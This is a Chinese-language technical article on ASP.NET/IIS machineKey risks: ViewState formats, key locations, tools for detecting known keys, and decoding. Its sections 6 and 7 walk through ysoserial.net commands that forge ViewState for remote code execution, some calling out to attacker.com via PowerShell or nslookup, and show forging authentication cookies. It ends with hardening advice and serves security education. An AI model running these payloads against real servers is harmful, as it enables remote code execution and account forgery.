IIS Machine Keys 安全风险详解

前言

ASP.NET 应用程序中的 machineKey 配置对安全性至关重要。它用于加密和解密 forms 身份验证 cookie 数据、ViewState 数据,以及验证进程外会话状态标识。一旦 machineKey 泄露或配置不当,可能导致严重的安全性问题,例如身份伪造、数据篡改甚至远程代码执行。本文将深入探讨 IIS Machine Keys 的相关知识,包括 ViewState 的格式、Machine Key 的格式和位置、如何识别已知的 Machine Key、如何解码 ViewState,以及如何利用 Machine Key 漏洞进行攻击。

1. 核心概念解释

1.1 IIS (Internet Information Services)

IIS 是微软公司开发的 Web 服务器,用于托管 ASP.NET 应用程序。它负责处理客户端的 HTTP 请求,并将请求转发给相应的应用程序进行处理。IIS 的配置直接影响着应用程序的安全性。

1.2 ASP.NET

ASP.NET 是微软公司开发的 Web 应用程序框架,用于构建动态网站、Web 应用程序和 Web 服务。ASP.NET 应用程序依赖 IIS 进行托管和运行。

1.3 Machine Key

machineKey 是 ASP.NET 配置文件(web.configmachine.config)中的一个配置元素,用于指定加密和验证数据的密钥和算法。它主要用于以下几个方面:

  • Forms 身份验证:加密和解密身份验证 cookie,防止用户身份被伪造。
  • ViewState:加密和验证 ViewState 数据,防止数据被篡改。
  • 会话状态:验证进程外会话状态标识,防止会话被劫持。

machineKey 的配置不当或者泄露会导致严重的安全性问题。

1.4 ViewState

ViewState 是 ASP.NET 中一种用于在多次请求之间保持页面状态的技术。它将页面上的控件状态序列化为字符串,并存储在隐藏的表单字段(__VIEWSTATE)中。当页面回发时,ASP.NET 会将 ViewState 反序列化,从而恢复控件的状态。

ViewState 的安全性取决于 machineKey 的配置。如果 machineKey 泄露或者 ViewState 未进行加密和 MAC 验证,攻击者可以篡改 ViewState 数据,从而导致各种安全问题。

1.5 加密算法 (Encryption Algorithms)

machineKey 配置中,加密算法用于对数据进行加密,防止数据被未经授权的访问。常见的加密算法包括:

  • DES (Data Encryption Standard):一种对称加密算法,密钥长度较短,安全性较低。
  • 3DES (Triple DES):一种对称加密算法,是 DES 的升级版,使用三个密钥进行加密,安全性较高。
  • AES (Advanced Encryption Standard):一种对称加密算法,是目前最流行的加密算法之一,安全性很高。

1.6 验证算法 (Validation Algorithms)

machineKey 配置中,验证算法用于对数据进行 MAC (Message Authentication Code) 验证,防止数据被篡改。常见的验证算法包括:

  • SHA1 (Secure Hash Algorithm 1):一种哈希算法,用于生成数据的摘要。
  • MD5 (Message Digest Algorithm 5):一种哈希算法,与 SHA1 类似,但安全性较低。
  • HMACSHA256 (Hash-based Message Authentication Code with SHA256):一种消息认证码算法,使用 SHA256 哈希函数生成 MAC 值,安全性很高。

2. ViewState 格式

ViewState 的格式取决于 EnableViewStateMacViewStateEncryptionMode 属性的配置。

格式EnableViewStateMacViewStateEncryptionMode说明
Base64FalseFalseViewState 数据以 Base64 编码存储,未进行 MAC 验证和加密。
Base64 + MACTrueFalseViewState 数据以 Base64 编码存储,并附加了 MAC 值进行验证。
Base64 + 加密FalseTrueTrueViewState 数据经过加密后,再以 Base64 编码存储。是否启用 MAC 验证取决于 EnableViewStateMac 属性的配置。通常来说,如果 ViewStateEncryptionMode 设置为 AlwaysEnableViewStateMac 也会被设置为 True,以提供更强的安全性。

在 2014 年 9 月之前,enableViewStateMac 属性的默认值为 False,这意味着 ViewState 默认情况下未进行 MAC 验证,存在安全风险。通常,未加密的 ViewState 以字符串 /wEP 开头。

3. Machine Key 格式与位置

3.1 Machine Key 格式

machineKey 配置元素的格式如下:

<machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto (default) | DES | 3DES | AES | alg:algorithm_name]" compatibilityMode="Framework20SP2|Framework45" />
  • validationKey: 用于验证数据的十六进制字符串,确保数据未被篡改。
  • decryptionKey: 用于加密和解密敏感数据的十六进制字符串。
  • validation: 用于指定数据验证算法,常见的有 SHA1、MD5、3DES、AES 和 HMACSHA256 等。
  • decryption: 用于指定加密算法,常见的有 Auto、DES、3DES 和 AES 等。
  • compatibilityMode: 指定与哪个 .NET Framework 版本兼容,常见的有 Framework20SP2Framework45

以下是一个 machineKey 的示例:

<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246C11B" validation="SHA1" decryption="AES" />

3.2 Machine Key 常见位置

machineKey 通常存储在以下位置:

  • web.config: 应用程序级别的配置文件,位于应用程序的根目录下。
  • machine.config: 机器级别的配置文件,位于 .NET Framework 的配置目录下。

常见的 machine.config 路径如下:

  • 32 位系统
    • C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
  • 64 位系统
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
    • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config

AutoGenerate 启用时,machineKey 也会存储在注册表中:

  • HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
  • HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey

可以使用 gist 中的脚本提取注册表中的 machineKey

3.3 安全风险

machineKey 存储在 web.config 中可能会导致安全风险,因为 web.config 文件可能会被未经授权的用户访问。建议将 machineKey 存储在更安全的位置,例如加密的配置文件或硬件安全模块 (HSM)。

此外,如果多个应用程序共享同一个 machineKey,那么一个应用程序的漏洞可能会影响到其他应用程序。因此,建议为每个应用程序使用不同的 machineKey

4. 识别已知 Machine Key

可以使用以下工具识别已知的 Machine Key:

  • isclayton/viewstalker: 一个用于识别 ViewState 中 Machine Key 的工具。

    ./viewstalker --viewstate /wEPD...TYQ== -m 3E92B2D6 -M ./MachineKeys2.txt
    
  • blacklanternsecurity/badsecrets: 一个包含大量已知 Machine Key 的数据库。

    python examples/blacklist3r.py --viewstate /wEPDwUK...j81TYQ== --generator 3E92B2D6
    
  • NotSoSecure/Blacklist3r: 另一个用于识别已知 Machine Key 的工具。

    AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate  --valal[...]
    
  • 0xacb/viewgen: 一个用于分析和生成 ViewState 的工具。

    $ viewgen --guess "/wEPDwUKMTYyOD...WRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
    

以下是一些常用的 Machine Key 列表:

5. 解码 ViewState

可以使用以下工具解码 ViewState 数据:

  • BApp Store > ViewState Editor: Burp Suite 插件,用于查看和编辑 ViewState 的结构和内容。

  • 0xacb/viewgen: 用于分析和生成 ViewState 的工具。

    $ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYU[...]
    

6. 生成 ViewState 进行 RCE

6.1 前提条件

  • __VIEWSTATE
  • __VIEWSTATEGENERATOR

6.2 MAC 未启用

如果 MAC 未启用,可以直接使用 ysoserial.exe 生成恶意 ViewState,从而实现远程代码执行 (RCE)。

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"

6.3 MAC 启用且加密禁用

  1. 使用 badsecretsviewstalkerAspDotNetWrapper.exeviewgen 找到 machineKey (validationkey)。

    AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate  --valal[...]
    # --modifier = `__VIEWSTATEGENERATOR` 参数值
    # --encrypteddata = 目标应用程序的 `__VIEWSTATE` 参数值
    
  2. 使用 pwntester/ysoserial.net 生成 ViewState。可以使用 TextFormattingRunPropertiesTypeConfuseDelegate gadgets。

    .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C5[...]
    .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe -c nslookup http://attacker.com" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F[...]
    
    # --generator = `__VIEWSTATEGENERATOR` 参数值
    # --validationkey = 上一个命令中的验证密钥
    

6.4 MAC 启用且加密启用

默认的验证算法是 HMACSHA256,默认的解密算法是 AES

如果缺少 __VIEWSTATEGENERATOR,但应用程序使用 .NET Framework 4.0 或更低版本,则可以使用应用程序的根目录(例如:--apppath="/testaspx/")。

  • .NET Framework < 4.5: 如果从请求中删除 __VIEWSTATEENCRYPTED 参数,ASP.NET 始终接受未加密的 __VIEWSTATE

    .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177[...]
    
  • .NET Framework > 4.5: machineKey 具有属性:compatibilityMode="Framework45"

    .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryption[...]
    

7. 编辑 Cookies With The Machine Key

如果您拥有 machineKey,但 ViewState 已禁用,则可以使用以下方法编辑 cookies:

ASP.net Forms Authentication Cookies: https://github.com/liquidsec/aspnetCryptTools

# 解密 cookie
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes

# 加密 cookie (编辑 Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt

8. 安全建议

  • 保护 machineKey: 将 machineKey 存储在安全的位置,例如加密的配置文件或 HSM。
  • 为每个应用程序使用不同的 machineKey: 避免多个应用程序共享同一个 machineKey
  • 启用 MAC 验证: 确保 enableViewStateMac 属性设置为 True,以防止 ViewState 数据被篡改。
  • 启用加密: 启用 ViewState 加密,防止敏感数据泄露。
  • 定期更换 machineKey: 定期更换 machineKey,降低被攻击的风险。
  • 使用强加密算法和验证算法: 避免使用弱加密算法和验证算法,例如 DES 和 MD5。
  • 监控应用程序日志: 监控应用程序日志,及时发现异常行为。
  • 及时更新 .NET Framework: 及时更新 .NET Framework,修复已知的安全漏洞。

9. 总结

machineKey 是 ASP.NET 应用程序安全性的关键组成部分。配置不当或泄露 machineKey 可能会导致严重的安全性问题。因此,开发人员应该充分了解 machineKey 的相关知识,并采取必要的安全措施来保护 machineKey,从而确保应用程序的安全性。

10. 参考资料

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值